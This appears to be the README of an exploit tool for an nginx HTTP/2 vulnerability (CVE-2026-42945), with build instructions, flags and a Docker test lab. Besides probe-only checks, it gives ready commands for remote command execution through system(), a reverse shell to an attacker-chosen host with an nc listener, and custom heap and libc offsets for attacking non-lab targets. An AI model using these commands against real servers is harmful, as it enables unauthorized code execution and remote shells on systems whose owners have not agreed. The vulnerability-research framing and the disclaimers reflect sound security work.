CVE-2026-42945 PoC (Go)

中文 | English

A detection and exploitation helper for nginx HTTP/2 (CVE-2026-42945). Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab.

Affected versions (heuristic): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ are patched.

⚠️ Disclaimer (read carefully)

This repository is for security research, vulnerability validation, and defensive testing only.

1. Authorization: Use this tool only on systems you own or have explicit written permission to test. Unauthorized scanning or exploitation is illegal; the authors and contributors assume no liability.
2. Risk: Exploitation may crash nginx workers, disrupt services, or cause data loss. Assess impact and test in isolation first.
3. No warranty: Provided as-is with no guarantee of success in production. Side-channel signals (worker crash) do not prove RCE—verify independently via file creation, command output, or reverse shell.
4. No misuse: Do not use this tool for unauthorized access, ransomware, destruction, cryptomining, or any illegal purpose. By downloading, building, or running it, you agree to this disclaimer.
5. Not official: This is an independent research project and is not affiliated with NGINX or any vendor.

If you do not accept these terms, stop using this project and delete your copy.

Features

Requirements

• Go ≥ 1.26 (see go.mod)
• Optional: Docker + docker compose (local lab)
• Optional: make, golangci-lint (development)
• Exploitation: target must expose PoC endpoints (GET /api/, POST /spray, etc.); the Docker lab image includes them

Limitations

Build

# Quick build (output under bin/, gitignored)
make build-cmd

# Or with go directly
go build -o ./bin/cve-2026-42945 ./cmd

# Show embedded version
./bin/cve-2026-42945 -version

Release binaries: download cve-2026-42945-<os>-<arch> from Releases (built by GitHub Actions on v* tags).

Usage

Flags

-target string      Target IP/hostname (default 127.0.0.1)
-port int           Target port (0=80; Docker vuln often 19321)
-docker             Test local Docker lab (vuln:19321, fixed:19331)
-check-only         Probe only; no exploit traffic
-probe-crash        Overflow probe + worker crash side channel
-cmd string         Command to run via system()
-shell              Reverse shell (requires -lhost)
-lhost string       Local IP for reverse shell
-lport int          Local port for reverse shell (default 4444)
-docker-profile     Use measured heap/libc bases from deploy/docker
-heap-base string   Heap base (hex, e.g. 0x555555659000)
-libc-base string   libc base (hex)
-tries int          Attempts per heap candidate (default 10)
-timeout int        HTTP timeout in seconds (default 5)
-v                  Verbose output
-version            Print version and exit

-docker cannot be combined with -cmd / -shell; for single-target exploit use -port 19321.

1. Probe only

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Crash side channel (single target)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Docker lab comparison

Start the lab:

make docker-up
# or
docker compose -f deploy/docker-compose.yml up -d --build

First build compiles nginx and may take several minutes. Run make test-lab after docker compose ps shows healthy.

Batch probe:

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

Makefile shortcuts:

make test-lab          # check + probe
make cmd-exploit       # write /tmp/pwned on vuln and print verify command

4. Command execution on Docker vuln (RCE check)

Best results with ASLR disabled in the lab (setarch -R) and -docker-profile:

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Verify file was written
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Reverse shell

# Terminal 1: run tool (tries to start nc in background)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# If nc is missing, listen manually in another terminal:
nc -lvnp 4444

6. Custom memory layout

When ASLR, libc, or layout differ from Docker, supply bases yourself:

# Target must be plain HTTP (not TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Interpreting results

• [+] Side channel: worker anomaly: Suggests a worker may have crashed; not sufficient proof of RCE.
• Always verify twice: Check file artifacts, processes, docker exec, etc.
• Common failures: ASLR enabled, wrong libc/heap offsets, PoC endpoints down, WAF/rate limits, container needs restart.

Project layout

cmd/                 CLI entrypoint
internal/rift/       Probe, payload, exploit logic
deploy/docker/       nginx 1.30.0 / 1.30.1 lab images
deploy/docker-compose.yml
.github/workflows/   Multi-platform release builds

Development

make help            # List make targets
make test            # Unit tests
make lint            # golangci-lint
make version         # Show build version

Release a new version:

git tag v1.0.0
git push origin v1.0.0

References

• Repository: https://github.com/RedCrazyGhost/CVE-2026-42945
• CVE: CVE-2026-42945 (nginx HTTP/2; see official advisories)
• License: MIT License
• Security: SECURITY.md

Reminder

Use this tool only on systems you are authorized to test. The authors are not responsible for misuse.